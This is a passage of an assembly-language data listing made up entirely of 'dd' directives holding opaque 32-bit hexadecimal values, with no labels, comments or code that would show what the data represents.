8350C74Bh, 7EAFE4Eh, 453EA020h, 325520E0h dd 63047FE7h, 3FF4F5A6h, 0D62CF480h, 0FB99C440h, 0C1A8D3BCh dd 0DBE08DA7h, 428547EBh, 0E94D39BCh, 30029C48h, 288B4003h dd 31A4F5Dh, 0FDEAD220h, 31124CD4h, 0DC41717Ch, 7716A6B1h dd 5D6A1987h, 0D2945361h, 83193DC0h, 48C88700h, 7DC9818Eh dd 0A7173B07h, 183BC780h, 9E918B0Fh, 592231Dh, 17ED7840h dd 0CE0A7Ah, 0B9E9B144h, 2C203F2Ah, 5711AF00h, 0D7C55926h dd 2FC000B8h, 0AD09C3A0h, 8C01F7F6h, 751D6C23h, 1EE4900Dh dd 9F971CDDh, 0DFDADE67h, 0EDD440AAh, 68F8DB56h, 69578000h dd 479BC436h, 77820555h, 9DA566h, 854D7BFEh, 3601227Fh dd 547C1F01h, 0AAC89361h, 0D8B51737h, 7FB8001Bh, 0B19F09Ah dd 0F1701C00h, 21D5117Dh, 37C500C6h, 620E5E76h, 8F717CE0h dd 0B398CE02h, 0E81F330Ch, 0AC39B0h, 0A1218D14h, 0B688BEEBh dd 0B3086300h, 6ED4786Ah, 0E7EA0B70h, 0EC8ADD09h, 0B4A00029h dd 453464A4h, 95B89700h, 0C2F00572h, 0D1BD00F7h, 0E33196A2h dd 0DF005155h, 0A6C8132Bh, 291F270h, 0A0ECB399h, 9B836926h dd 0B0C458F3h, 3A7E6DC8h, 31098890h, 35EBFA4h, 904C7FA0h dd 746BCC05h, 617F53h, 84FAEEFFh, 2C47D0D7h, 90001C90h dd 38FC6CC6h, 76F9C1h, 188D0B8Ch, 1BC7EEDh, 3357C082h dd 17DE00CAh, 4A3CB186h, 40C03DC6h, 110CD282h, 0C8430144h dd 4C5871E0h, 5984407Bh, 40074C9h, 0B8A92B3Bh, 0F18C99h dd 0DE3143F4h, 513EAC27h, 628A3407h, 437FE9EDh, 87544928h dd 0BF74FBB0h, 0FC256069h, 0C29DCBBh, 8D9D34F7h, 0FF877900h dd 0E91DB923h, 379E2682h, 0B59F0964h, 628CA880h, 7024998h dd 0FAFB15D3h, 0F82CE379h, 0D9892Bh, 5C578DA4h, 4B26D691h dd 0E0CA8B1Ch, 1200C466h, 0BC10F9DEh, 6189006Fh, 67CF9721h dd 0B200F0FFh, 748AA359h, 3EEE515Ah, 2980D59Bh, 4A3E21D4h dd 3F725DC0h, 9C00CC94h, 90066DBDh, 14A9B0B1h, 0E882E0E9h dd 0DA03E600h, 15C62638h, 78E02260h, 0FA1F5B5h, 0EA13CAACh dd 0CB541C21h, 0E5F860E2h, 7AEC26h, 227E7C0Eh, 8018B176h dd 7F92D9C8h, 0DFA900B4h, 6935F17Ah, 9300E416h, 397714B7h dd 4546752h, 10C6DB97h, 5DC4E00Bh, 0D2F3F8A0h, 0FDF23100h dd 4792A7AAh, 0D33E0011h, 381B8843h, 573E36BDh, 91830E3Bh dd 466200C0h, 0F1D5E5h, 9C84C898h, 281215E2h, 49039000h dd 54684731h, 1F2C9E4Eh, 9711C198h, 0D08BF12Dh, 0A0B63DDh dd 2559B4h, 0C8C89D8h, 902F7120h, 6F2B00E5h, 37B63927h dd 0FDEE75A2h, 542DC100h, 5248D05Ah, 0DFE509C2h, 10623A34h dd 268A3681h, 8E55F032h, 0BEC55200h, 213CF66Dh, 98D803BDh dd 0B3D6B1D3h, 0BCC316EBh, 0F2CF0ECh, 0F3B0D900h, 5E1A5A41h dd 8B7C3C2Ch, 0D48828h, 0ADB9B710h, 0B440EFDFh, 0A6870702h dd 48FB0F72h, 1205CF8h, 9D7F032Dh, 604CAEF9h, 0B15C954Ch dd 12109B6h, 0D22500ACh, 0E389E170h, 77E4B6E0h, 0F50B00DBh dd 0F815765Bh, 0EA98D803h, 0E800E5EEh, 5A3FC151h, 76F5B9B4h dd 2A3700EEh, 0A8D749CEh, 6E2A94Ch, 4D40D217h, 17885D00h dd 7433D4B0h, 9BB80FAFh, 0B5605154h, 380ACD8Fh, 25070F76h dd 0E6103D6Fh, 6000E01Ah, 523F9971h, 0BD2A0475h, 8050704Bh dd 0ABD996A0h, 2888BC26h, 87C0A21Eh, 49D4CC9Eh, 0C845075Bh dd 0BCB0C709h, 5A012720h, 0FC356D50h, 0C07B9E4Ah, 0B2363AEBh dd 1E7C1D7Bh, 795EF600h, 27756BBFh, 9740F58h, 71C1E6CDh dd 80ABE973h, 9EF86A78h, 50AC8C54h, 0BEB0C9h, 3219D88Ah dd 0C73EF4AEh, 3AFA4874h, 129F803Eh, 68007ACBh, 8FB3E2A3h dd 50B00Eh, 495F9D10h, 0BCDDD332h, 0FA61DC00h, 81186AF9h dd 6CA60035h, 0E341B202h, 0AC00CD8Dh, 3A3177F8h, 9B0F06Fh dd 3EDD1312h, 4B089400h, 76032561h, 84F5208Ah, 2180538h dd 0C3C5C2D2h, 85E8C928h, 0EE5A1D24h, 0EDE00AF1h, 3D92003Ah dd 25975E06h, 0D401320Eh, 911A4324h, 0EEFC052Fh, 621D03F5h dd 31A92186h, 3A78C0E4h, 34A8F226h, 1F6FC2D3h, 0EF0A8360h dd 0E9CEC079h, 4663380Bh, 67BE5E05h, 415FC684h, 0B0217002h dd 0F031E51Dh, 502825D8h dd 1B00388Fh, 7027160Ah, 2C18C201h, 4E260376h, 0E31F1040h dd 0F3060031h, 8E8D1262h, 0F1F844E7h, 404EBF00h, 0AD3FA35Bh dd 98F3FF0Dh, 0F272EACh, 7ABC840Fh, 7DE57821h, 0ABC18089h dd 955BAF51h, 0B3B918B8h, 70521982h, 3D148500h, 442959E7h dd 0A99000DBh, 2E5A657Bh, 0A6608A8Dh, 0D5845191h, 192FEE2h dd 0FF5E9F49h, 0DC6A8142h, 0CA00174Ch, 13F3D4B2h, 650554h dd 9B534A50h, 19EB8727h, 8F291E00h, 0D6CACC72h, 0B5EE00A5h dd 4423E07Fh, 1F004054h, 0BC739F4Dh, 0C80513h, 376B6808h dd 0C47712ACh, 0DAD81F00h, 0F4C18A4h, 0C27CD7h, 0B63C3005h dd 67D366FAh, 76637B04h, 0B0D0E9B4h, 274E7029h, 0A880CB7Eh dd 8358583h, 756332B0h, 80619ED8h, 39119689h, 0DF80B714h dd 0B66ED387h, 0D518D959h, 0FB586F2Fh, 7CF70006h, 2D412111h dd 0E101AD0Fh, 32C0F49Fh, 27600534h, 50E000F3h, 0F586806Bh dd 11D1815Ch, 0F29BF004h, 0EB10C06Ah, 0C41F278Ah, 1B6C9200h dd 16331A5h, 78750085h, 6DDB3A16h, 0A10022D2h, 0BB617230h dd 0C88325h, 0B1E96E1Fh, 0ABA57C0Ch, 67031576h, 0B6B54101h dd 0F19CC81Eh, 3107022h, 8683F58Eh, 0F0C0205Ah, 0E0243959h dd 5000BD1Ah, 0EC473B4h, 8DC700BFh, 0D44BFB01h, 9C005809h dd 1CCDDCB7h, 0F2FFAEh, 0B6C0E5DEh, 2D761AC9h, 0F6CF0C07h dd 6D0099F5h, 0B644FE2h, 0E0355496h, 0BC937B81h, 823470E3h dd 23E20900h, 0F074CE76h, 0CDB70F80h, 0C280F57Ah, 654C7855h dd 5E313403h, 80414026h, 2E96D3h, 1D8211BFh, 0AEF58C01h dd 590BA500h, 468120D5h, 2604019Eh, 0C544E5CDh, 17F0E738h dd 8C005132h, 7BF897B5h, 0D301F2h, 6CED27AEh, 3AD11ADDh dd 8DA54C00h, 9DE905E7h, 45F000F6h, 0C02BFFD9h, 632AB32Ch dd 9F26D8CFh, 3A6874h, 0B9B6DC1Dh, 0FCD51506h, 1FA400ECh dd 0CDDD7324h, 703EDFA6h, 4C2980C6h, 3C48E9E5h, 0AF2012EFh dd 0D2004764h, 8E47909Ah, 0CA3FCEFCh, 0FB2703F9h, 0A093F7EEh dd 0E837191h, 90C4617Bh, 0A5CCA680h, 7000A0B1h, 0C52ACF7Fh dd 120A66h, 755A379Dh, 1556D5CEh, 430E4D00h, 0DAABB5AAh dd 6A2763Dh, 0D1C779B1h, 0F300B870h, 0AB2595B4h, 1778A36Fh dd 0C0F221h, 3F837C3Ch, 0D41E4790h, 22801EA7h, 741B909h dd 0CCF700DAh, 7699FB9Bh, 0D539CF5Bh, 0F540CD4h, 0D15821h dd 43331041h, 0CE659C6Fh, 0EAD69507h, 0BEAC719Dh, 264B01FFh dd 0D0F888B4h, 1162E0A9h, 6C743500h, 0F6A12DA8h, 50571E93h dd 2A2E4090h, 0F1277D64h, 8077FB3Ch, 0A0569A4h, 0ED9FE5h dd 0DEF3914Fh, 7FE1A7B8h, 6F12F51Dh, 717CAF40h, 2EF169Fh dd 4321AC29h, 87E0FE09h, 0F83FE1B9h, 792D00FCh, 0BB913B47h dd 5AA71488h, 0E907A898h, 4016DACBh, 0A2A16DEAh, 670EB100h dd 140750Dh, 0FE62EA4Fh, 0AC0A04EDh, 90D3DCCBh, 48704D10h dd 110072F2h, 1CD5D001h, 52A66CEh, 99D871A8h, 0C39C40A3h dd 14C8E44Ah, 1B69EE03h, 0A801B8D9h, 3DF8D645h, 0F4822DA4h dd 0F0E7734Ch, 3F8C8280h, 6B7678E2h, 0DEAF0D00h, 0F5343168h dd 64D507C4h, 666AAD8Eh, 0A6301089h, 0A9F956F7h, 0CA201FD8h dd 63B2809Ah, 2C48FA38h, 0D7FBE400h, 6640CD49h, 463E1273h dd 658000A6h, 1C9C2CF4h, 0B33FE004h, 2E40CE97h, 193A266Eh dd 0F416D4A1h, 6D0387AFh, 0EE63FE86h, 0DD4000A4h, 58661C04h dd 7180225h, 0FE18CE8Eh, 12550073h, 771C08D4h, 95007E3Dh dd 8EEAAD24h, 0C43426h, 0EF79C14Bh, 1304A035h, 6A565700h dd 383D81Eh, 9B9107A9h, 0C4DB19FAh, 4658C34Fh, 0BDF0A3F0h dd 62162F1Fh, 0B0406ED3h, 0F2A870DCh, 2942009Dh, 0C4F4557Dh dd 209AD0E6h, 49B82600h, 0A7F0898Ah, 0B8D75071h, 0D0EA55h dd 667AC30Ch, 4DCD25A3h, 3D0022F8h, 0C4FD0EDDh, 1E3CE4h dd 0BD530D07h, 0A82769CBh, 0AE008873h, 8DBA265Fh, 0FEAD5C2Ah dd 1F5A007Dh, 5E3B2B11h, 0D4F62C86h, 0D2002298h, 97E06461h dd 7F406F14h, 0AC22126Ah, 4212001Dh, 0EEB20D9Ah, 0DF069312h dd 0C067D800h, 37FEB81h, 0E6F7F89Ch, 780024A3h, 1943D382h dd 3333CA4h, 6791AE51h, 0EE88282Ch, 2D00AFB6h, 0F3F6A23Ah dd 0FF7D79h, 7FAC4732h, 0E25B6A8Bh, 0A5A9FB00h, 737B9D4Eh dd 383749D4h, 123BE448h, 0BDEB6D80h, 14FCB76Ah, 0BF7F7101h dd 70839C5Eh, 0F93EB840h, 0BD64C0DEh, 0FA92C14Eh, 7371241Ch dd 319C6300h, 478582h, 0E7150BF1h, 0AB6CC47Bh, 4F526101h dd 0C632653h, 2E3A5AE0h, 1712D6Ah, 411A4D99h, 6E9ACC87h dd 4E6F070Fh, 1B1F203Bh, 36E998h, 4B5C0E43h, 4599E168h dd 1CA87F5Ch, 94830FB8h, 883D1F12h, 0D71D2Eh, 56BF215Ch dd 65E0C8A4h, 1F112607h, 0A5513398h, 1C2094B0h, 70257361h dd 97180E48h, 417D20DEh, 0DF23A34Fh, 47A5CCA7h, 3C0E5400h dd 9E740540h, 0CCD16D9h, 6BCC0092h, 0F4CA646Ch, 0F0E6C701h dd 1641E337h, 23C2B740h, 0F34C01BDh, 432F39B3h, 8DCFD8D1h dd 0B9641F00h, 0DFF1A8EEh, 7140009Ch, 6236A62h, 9200AC81h dd 0E894106Eh, 1F95C6ADh, 0D228A037h, 55F8004Ah, 0DB6DDF5Ch dd 0A2002CBAh, 62608053h, 0FD69B8h, 27E40489h, 44DE1AA7h dd 70265D00h, 94094CDh, 0E0B90075h, 812B3C8Bh, 0C100BB4Ah dd 36D9D6F1h, 0E24EA3F7h, 87FB00CAh, 7DB75BE4h, 0D23FF2B3h dd 879A3D48h, 74B06DDh, 6411F6E0h, 0AD4C1EE5h, 3B14CB66h dd 810F9180h, 0A800E837h, 0F93A3C8Eh, 7DB0FDh, 0ACDE76B8h dd 0C3C21E1Fh, 480AD60Eh, 747EA086h, 1473D099h, 0A9B9B59Bh dd 119A7700h, 0DF27D518h, 0D9916900h, 0FC9DF8F2h, 1C7800D6h dd 84813552h, 640E481Dh, 0A0EF9777h, 1CD7DC5h, 270A0089h dd 0A539BAE8h, 6812ACD8h, 0E30032A2h, 0FD6F9561h, 19D50BCBh dd 0F8815AE6h, 0C4F1AE52h, 0C3768288h, 0AA76BB0Bh, 0EAC9870Eh dd 2E8DD140h, 738A057Ch, 0D01947B9h, 0BB90D83Eh, 0CA664400h dd 3AE1A15Ah, 0DCC800F7h, 850C7C54h, 0F20024C1h, 70A825B3h dd 0E2C2626Ah, 350100A3h, 6F4A51F7h, 0BA002479h, 18E1ED9Ah dd 1F994EAh, 1B854F91h, 403B54A6h, 0C62FF5CEh, 969E8A00h dd 79260EB2h, 0A19C0034h, 0C243E845h, 4A1C22C7h, 0E4004297h dd 0BB393DBAh, 0D8D2008Eh, 9FAD7956h, 0BD003727h, 0C9CE0418h dd 3894E965h, 8003B134h, 0D02E0838h, 0FADA84C8h, 19019492h dd 75278B0Eh, 2FDC1564h, 0E97063h, 9DEE39AFh, 9C914570h dd 1278FB00h, 0C7939B1Ah, 0AD070047h, 7DA2E6B6h, 29276681h dd 0B1D4E3h, 77997967h, 0E148F9E4h, 3C2C0025h, 14E7105Bh dd 63700912h, 0F0AF7791h, 0E9042963h, 161C6990h, 18F57606h dd 30A0A89Ah, 0C2103E15h, 6E81814Fh, 24F70007h, 7478E7E5h dd 287A6328h, 0ACC0A700h, 0F7FE10C3h, 3120013h, 0C999757Bh dd 19C0C4D4h, 21F54760h, 3E2C12CEh, 54B800DFh, 0CA4AC50Ah dd 0F065442Eh, 0AB1E6AACh, 96736180h, 3BA619D3h, 13B08869h dd 0ED2A5F80h, 37C80600h, 0C6D20B4Ah, 3580287Fh, 0F1E8E0h dd 1CBBB145h, 3DA9E3ADh, 0CB57F001h, 7FD2D52Ch, 0F8908CF0h dd 3CCD908Eh, 0BA9E22C4h, 4A53CCC1h, 0A22B1398h, 517A049Fh dd 88C95160h, 2CB3708h, 66965A5Eh, 20605611h, 911832DEh dd 1C867008h, 0B71EA03Bh, 0AE0AE598h, 184C2094h, 872403B9h dd 909F7881h, 9941CFB3h, 5F509404h, 0DF4E1418h, 6A18184Ch dd 0A0911209h, 0A0366058h dd 0F996981Ch, 95F8498Dh, 0B4500D18h, 60211809h, 849A1F0h dd 708F0409h, 5E8ADC89h, 0C9B61944h, 140994B8h, 170C028h dd 0C56B512Bh, 0A121908h, 0C14920Ch, 50D11627h, 0B640EB65h dd 508A4037h, 515E58h, 97EE7543h, 184859Fh, 4D44B5E0h dd 0ED240750h, 5A1160FBh, 90D1BF8h, 0AF042143h, 25136C1h dd 9D8EF04Eh, 59195F60h, 0A106F1h, 7F3B65EBh, 2B45EAA4h dd 20715428h, 0FC669B00h, 0E8ADDB89h, 189561DDh, 98B0BF2Ch dd 9B69E539h, 0E959CFC3h, 5149EDACh, 0ECE22C00h, 9B3765A5h dd 30177A8Bh, 1861F733h, 4A194144h, 9210E654h, 55FC7F8h dd 826DE511h, 78340E6Fh, 489D7486h, 6958421Fh, 908B3403h dd 23C69DD0h, 0E63C0008h, 67FAC562h, 0D701102Fh, 0DA944DF8h dd 0A0835193h, 90302226h, 0EC23080Fh, 3B4F1E44h, 19C1FB9Eh dd 8E65748h, 0BCC3D250h, 0A114FAA0h, 837A8C00h, 40C7C995h dd 3AC80094h, 49F552Fh, 3E001351h, 24565FFDh, 529D85F5h dd 1F05C429h, 43A433CEh, 6C8BA68Ch, 3800E973h, 4250B792h dd 0CE963324h, 0DA202E89h, 0A4946D4Bh, 9C90D578h, 982F6603h dd 412B333Dh, 7AE0D029h, 0A360A013h, 0EAFCF9AFh, 60FD03DEh dd 0F27FDA24h, 67BAFBC8h, 7A366E79h, 0C1E131B3h, 8AEC5509h dd 0D040CEFDh, 1C9037EBh, 17F3103h, 8A9C6F62h, 0F2E3E9h dd 4E4ACF21h, 3C70BF94h, 2EBBA1C0h, 5022253Bh, 4882AC16h dd 0EC1EF826h, 0D879C043h, 6BBFE327h, 50491332h, 142C4A01h dd 4810C1A8h, 0E0A1FF93h, 5412EE6Ch, 38483666h, 0C182BB64h dd 9A7ED552h, 7C10B894h, 1884557Bh, 0D8340024h, 42511Fh dd 0FD1389Fh, 2873773Bh, 50061A00h, 0A4B629C5h, 1BBE1293h dd 9020088Bh, 0E0237D80h, 0A097BA17h, 37AF5A4h, 52785029h dd 54F8BE98h, 7B78D0FDh, 0A216990Ch, 39C836h, 9C3E22D1h dd 23AFABD4h, 181971F8h, 24605F9Bh, 0F799BB13h, 52AC2499h dd 2CE8AE3Ch, 0B8203459h, 0C02D4E44h, 1A836031h, 0E4249C5Ah dd 0D8A0DC6Ch, 0EB4FFA0Eh, 8C618A97h, 4F1E858h, 7AFC7153h dd 884494C2h, 393059D0h, 7F01318Ah, 1820F92Fh, 423091F6h dd 80CA43F7h, 95972C80h, 4CA90F03h, 64E9012Fh, 4940C016h dd 91C360DAh, 23D54671h, 0DE5B7800h, 0EB6A9CCBh, 0CDF90C03h dd 89403F27h, 0F139640h, 0AA3BFA67h, 0C9D9E85h, 5B292248h dd 0FA8F10F1h, 3992618Ah, 20E6B8EBh, 58A43D88h, 68969050h dd 515790C4h, 737E7037h, 0F5793D99h, 6FC06612h, 958E2000h dd 4BAA2Fh, 0CC941EECh, 2613B59Ch, 0EA67D100h, 2461011Dh dd 0C21203C9h, 50B69621h, 786468E2h, 0DDE10106h, 0A1716214h dd 0B0426334h, 0E641188Fh, 2152281h, 3302134h, 1A00B864h dd 73C9434Eh, 3C8EFD3Bh, 4F00EB66h, 0BA109178h, 3848E4F9h dd 3497438h, 7DD302B0h, 9091E3AEh, 5F9718Ch, 9D54424Dh dd 0BAF890F1h, 0FA0C55ABh, 813F3663h, 61731F9Fh, 21003C77h dd 3BB7D825h, 0FE136729h, 480830E1h, 0C1C8A849h, 0D6192218h dd 5010809Ch, 0A2D98FECh, 136315CCh, 282AC8F6h, 6ECD0098h dd 38904ABAh, 0BE1312A0h, 0FC0EE9EBh, 2833A17Eh, 0F4C53671h dd 2616464h, 4C7ED86h, 0E0846523h, 8C5007h, 98EF6F24h dd 7F23F05h, 0A7DAA2E1h, 50EAC635h, 7200437Fh, 25531836h dd 0C19DDF8Ch, 192171E8h, 3457DC51h, 9693B90Bh, 0CF5881E3h dd 509A6B1Bh, 9840699Eh, 0AA78FAEAh, 1D8B710Eh, 0DEFE81DCh dd 0FACBBA3Bh, 333C6052h, 4F0A1FE9h, 0A31B0FE5h, 4B101803h dd 7A9480C5h, 178051ADh, 3EA60C11h, 0AEAE2F55h, 20AA18C7h dd 0EEC1EEBh, 830D18C2h, 0D83DCC66h, 90CAE12Ch, 9CD70F3Eh dd 50B025EDh, 0C2C03880h, 0F8165A3Fh, 3B660163h, 0AA0131F2h dd 0A0B830A0h, 0F48141E5h, 9C91007Eh, 0C06B6D42h, 0DE0A7B87h dd 28E7E525h, 343F1886h, 26DC9019h, 8220F9DAh, 9036647Bh dd 0ABE6C921h, 456058h, 0A6DB4C0h, 0EBEAF8D0h, 0A6597860h dd 82DA1343h, 7EA3900Eh, 0D6F16B09h, 77C0F870h, 9279A962h dd 11C8626Eh, 8458497Ch, 613CA054h, 0D006E27Bh, 741D84F1h dd 0E112A0D5h, 8405E0Bh, 0EBDDB989h, 0E448A88Ah, 0A8387DFh dd 3D4A8BFh, 83E82048h, 3839164Fh, 70238F24h, 41EC6098h dd 300F0179h, 80A9DA66h, 0BA305094h, 7A8B314Eh, 0AC0F2E9h dd 17909A35h, 31E00650h, 2F3C395Ah, 0AE3C8201h, 9348DFBFh dd 2798F0CCh, 4011DF55h, 50793E35h, 9819F7h, 94DDD44h dd 0C4E97198h, 5363C042h, 8B2F56C9h, 84904710h, 0D0A1F324h dd 1E1B1AC0h, 416A3371h, 80F13A78h, 691EDF77h, 1352ED15h dd 0ECF03043h, 0CE23A09Eh, 50F325E3h, 2C202421h, 738733Dh dd 5A4E338Dh, 44C194A4h, 48349335h, 7202062Eh, 102D23C9h dd 53161809h, 605801C1h, 78D06C62h, 1C0E86Ah, 95F6C542h dd 30311963h, 0CD891240h, 5820405Fh, 422D2421h, 808116FBh dd 2472517Bh, 1702AB20h, 59FC63F8h, 7140E85Fh, 0AC0E54E4h dd 4354AAEEh, 0AB419824h, 21DE61E3h, 20BBF94Ah, 6063C044h dd 0E8206140h, 18DC5898h, 0B1ACEBDEh, 0F8123392h, 384A2773h dd 3C840C8Eh, 0F5444B09h, 0B4903113h, 256F35F0h, 0A49DDF4Ah dd 7F0485F4h, 3B171002h, 0C994C29Ch, 0C0CA3860h, 830610Ch dd 0DF203981h, 5AC99000h, 2DCAD3h, 289E9D65h, 982F052h dd 0CAA8000h, 0BF36D760h, 5086F923h, 69678DA0h, 0E3884E00h dd 0A5252A47h, 0F77A008Ch, 0D844F935h, 0E100E04Fh, 0B8DB2965h dd 13483BC3h, 6F64A2h, 990E8D8h, 76273D8Ah, 0B8C8A08Dh dd 3056E1h, 5A625431h, 5B5D2B58h, 4CA4200h, 0C927A9C2h dd 0D7DF180Bh, 0EA71F1D0h, 94AC3094h, 6864CA60h, 0FDBF05F4h dd 0D3FA7146h, 21003C5Ch, 0A0044323h, 4FD708h, 0D0D33F0Bh dd 0E1C48530h, 8287EB0Bh, 1C20029Bh, 0F1ACA54Eh, 6C835CC0h dd 0ACB114h, 91A4789Bh, 0DA1649BBh, 7C053A13h, 6480F70Bh dd 86F68Bh, 0F8FC52B6h, 7BE0F083h, 390710Bh, 2328A095h dd 0E6FD9893h, 0BA5A00C6h, 3C451C0Ah, 0D2008A94h, 0D6EE1250h dd 30E2259Ah, 9BC84F2Fh, 34B67724h, 0BB977080h, 0FA257F10h dd 51D40117h, 5F5E9969h, 0BBF1BC24h, 5A109B6Fh, 7076E011h dd 689C0090h, 23F53CD1h, 7C1CEBD7h, 98267E85h, 5CC40B80h dd 10CDF37h, 0D2CB53D5h, 307FF610h, 0E70794D5h, 0EC6C5EFBh dd 98B2888Ah, 266D2036h, 1D2EDF6Fh, 6C11D80Eh, 0F97F0F7Ah dd 0A1235F98h, 6DD81F9Fh, 5D00C9DAh, 5BE2CABBh, 2551193Bh dd 0B420299Ah, 364C11C0h, 4D827701h, 57FA6655h, 0C04FA9D0h dd 4C29B720h, 7C014713h, 1CB845CFh, 0B448BEDFh, 816D609Bh dd 0D0C6B309h, 0FF71B67Fh, 775B2500h, 0EDC77515h, 288B0AD6h dd 64986Ah, 33AEE70Ch, 8D03A58Fh, 1E917168h, 1999009Ch dd 41826698h, 0F10021C8h, 6714EA51h, 74CF32AEh, 2B7A1299h dd 2578829Bh, 819DE080h, 90493853h, 0A24B005Ch, 65120641h dd 65EEE459h, 4008087Dh, 4299AEC4h, 0A2019D72h, 0FB2887D0h dd 0B42D3625h, 0F063874h, 3F80C2B9h, 912C2D0Eh, 0B8006B04h dd 3DB6A8D4h, 48E83CBDh, 9613C08Ah, 521820C9h, 0C4908EF9h dd 0F22545E0h, 402007FBh, 4320C870h, 7B6A7F88h, 0F23E18F3h dd 779A21F7h, 0C709F7B0h, 32F425Ah, 0B8F56C24h, 8ED7B5Bh dd 947D7E7Fh, 0D2AAB580h, 12569215h, 1173121h, 23D4C28Ch dd 3A14266Eh, 8904DC9Ch dd 32BC6836h, 6E4202E8h, 6AC9DC52h, 0DA81E851h, 629D8C70h dd 44B0D850h, 161B0158h, 0E2B4F8AEh, 660898ACh, 69D2321h dd 37D1E458h, 0BC006149h, 51C6F444h, 3DB9FECh, 2F808FFFh dd 45D21DEAh, 5A3E444Ch, 2A77884Bh, 51636257h, 5480C204h dd 0E2EB4E32h, 52FC076Eh, 0D4E07F71h, 21D4C833h, 0ADA36900h dd 77C53491h, 0E8C471CAh, 9721C0F6h, 8548A36Fh, 0BF2B6A00h dd 8BD804BDh, 0E6AD24D9h, 1136430Ch, 17CEC100h, 7F8BEF9Ah dd 1F09EA5Dh, 47C35B06h, 212079BDh, 333817D5h, 9C8F28E4h dd 41028B46h, 86198C58h, 0F6105331h, 541F5899h, 0FA528494h dd 661F0441h, 75205DF2h, 0B28A0060h, 741BB377h, 694CFA11h dd 3B15133Ch, 433E4462h, 24080C18h, 3561557Eh, 6CD90567h dd 0E09E1B17h, 401A51B5h, 7D89001Ch, 880511F3h, 69003BD0h dd 93EDEA08h, 51A5646h, 38B2E86h, 0C2D44071h, 39DCBD96h dd 0ECE26200h, 6954BAAFh, 84970921h, 0A018479Bh, 1700147Bh dd 94423CE6h, 8816FDh, 7960618Ch, 0AA43774Bh, 0BA04867Fh dd 7151A9ABh, 361848Ch, 42CF0147h, 0AB9EBEAh, 651C6053h dd 0B8426C45h, 0E3F213A4h, 8E4C34FAh, 0B8633138h, 5C004FAFh dd 3F0012E4h, 0C5D37FFFh, 4C0140h, 0EFD7320Ah, 8EF70CD0h dd 0D833A312h, 21605086h, 0E910E6BEh, 0D0783793h, 0FEE69FC9h dd 3E41F900h, 70B01F8Ah, 0D67B0C79h, 4241A937h, 0C0395624h dd 3C310540h, 0F477A60h, 451676DFh, 0C0EC37D2h, 32565F3Eh dd 2CCBB71Dh, 2781800h, 4C440106h, 5AE8743Dh, 3C068143h dd 0D1740330h, 3283D505h, 0A50069C3h, 921BC827h, 1CB00162h dd 3985787Eh, 5298D47Dh, 652FB8A8h, 0F3F70F00h, 0AFB52B69h dd 1D3F6D9h, 0C107CD14h, 616520C4h, 21C6274h, 5A171991h dd 0FFBBC334h, 78ECE7C0h, 0DC1C52ADh, 32D16A00h, 715428C0h dd 3CBAFC17h, 37C8B831h, 39C07118h, 9D511767h, 7FEC1724h dd 0FC0C540Ch, 85A28201h, 0D8E9E526h, 58C1150Bh, 735FF667h dd 402F202Ch, 4416F17Ch, 6AAD1C40h, 320EB2Ch, 403765A0h dd 49DE3054h, 0E8263B74h, 2F0138C5h, 64878DF9h, 3B121848h dd 57849488h, 0E8624BCAh, 1D740094h, 66B2607Bh, 8BA0043h dd 0EC9E2DB6h, 5D00823Ch, 8AA6DE0Ah, 1B3DF7Dh, 10D3E7E5h dd 0C86541F0h, 2401C2D8h, 0ADEF82Fh, 80B19C17h, 1046BCB9h dd 0C721F3Fh, 3CB955D1h, 38055079h, 30223995h, 3CAA4CC8h dd 0E30F2B78h, 8139925h, 68C40F9Ch, 8C928CC0h, 919C99C4h dd 31D800EFh, 58B138A0h, 0FC2800EDh, 0E7186890h, 0C400C598h dd 21B84A46h, 21433F2h, 253AE3E2h, 0C040EEF3h, 2000631Eh dd 0B8E46C22h, 76BCBA0h, 8165A10Eh, 6FF240E9h, 0F73D1E35h dd 0B043245Bh, 0E4B0E035h, 206A415Dh, 48C51ACh, 196E5843h dd 209A62B6h, 0EB589C10h, 1D35045Ch, 0FDBD4C45h, 3244706h dd 16286042h, 6040511Ah, 904C0744h, 11127823h, 4FA50062h dd 8C17A04Bh, 0ABB1CC9h, 9789856Ch, 0E8AF0785h, 7E806F6Dh dd 0DE3903DBh, 0CD285Ch, 30B695B9h, 589788CBh, 982608F9h dd 1229000Bh, 0CF8BE0CEh, 0A33E6C78h, 8AC006C9h, 106BBCh dd 0AC9A0B77h, 0B7ED5A45h, 0B2531A1Dh, 206A2E0Ch, 9B621FD6h dd 0EC40C1CEh, 0E466C846h, 0EAF05E30h, 95183401h, 269DA680h dd 7BDC2F8h, 0C114E870h, 0B65A70C0h, 8C3ED105h, 56BF0083h dd 34888E5Dh, 2B13A09h, 58860780h, 38115F50h, 0F697A300h dd 51BE530Fh, 9165C26h, 0D776C50Fh, 36294E80h, 1200E5D2h dd 8DFF4455h, 3B48506h, 39549DA5h, 0F8605F79h, 75F5C649h dd 17ED0667h, 81D9FA4h, 50692560h, 7D35F5ACh, 0BF5F07C8h dd 5C958BE1h, 570097F9h, 0C1F0155Bh, 11C3F1Fh, 0AA792C80h dd 0E5BE7750h, 0F9498DF8h, 78BE08BFh, 0D1E0E800h, 0A9EBDC8h dd 0F910370Ch, 156A055h, 0EC3CB020h, 0CC3A6814h, 3475C738h dd 5D0C8B77h, 48B723E7h, 683D00D4h, 3E88CA15h, 1100544Bh dd 0E7451093h, 15DAAE6Fh, 0F8CF0295h, 520A5A3Bh, 70208E68h dd 338C1DA1h, 8FB1A5F0h, 9F89E990h, 0D5E81607h, 69307A11h dd 142E482h, 0D6D1E543h, 5031D0EDh, 0B326C08Ch, 0DE008E7Bh dd 978AEF45h, 1EC70B61h, 5A05F8h, 2C3DAC9Fh, 0C829D2A2h dd 2E009462h, 0D5DE650h, 84A00208h, 0BA6C4AF7h, 4C87044Ah dd 460188Bh, 213E7D9Ah, 8D95B262h, 600100F0h, 0F3955E9Bh dd 43C001DFh, 13344BF5h, 52508104h, 988B2FC2h, 57913180h dd 0EE92EA1Bh, 9DBA973Bh, 846A8C12h, 3D9D2D06h, 3D11B4F6h dd 0C0007503h, 0DCA7A6Bh, 0CD74D935h, 7221EC60h, 0EB2D6Dh dd 46EFA3Ch, 8F76548Ah, 12261D09h, 230810D3h, 4BF2007Fh dd 83CFF6Ch, 2803B788h, 83BB59D0h, 73293A3Eh, 8FECD14h dd 77A11900h, 825CD008h, 0D0BF2A27h, 0A207318Ah, 0C478FF20h dd 2C0163D3h, 0BB966F9Dh, 4891B650h, 785A806Ch, 4364D165h dd 69022283h, 0A28068FEh, 65BADE06h, 80607524h, 83297340h dd 2D820EAEh, 0E4755FB7h, 0C4B2FB00h, 334D4459h, 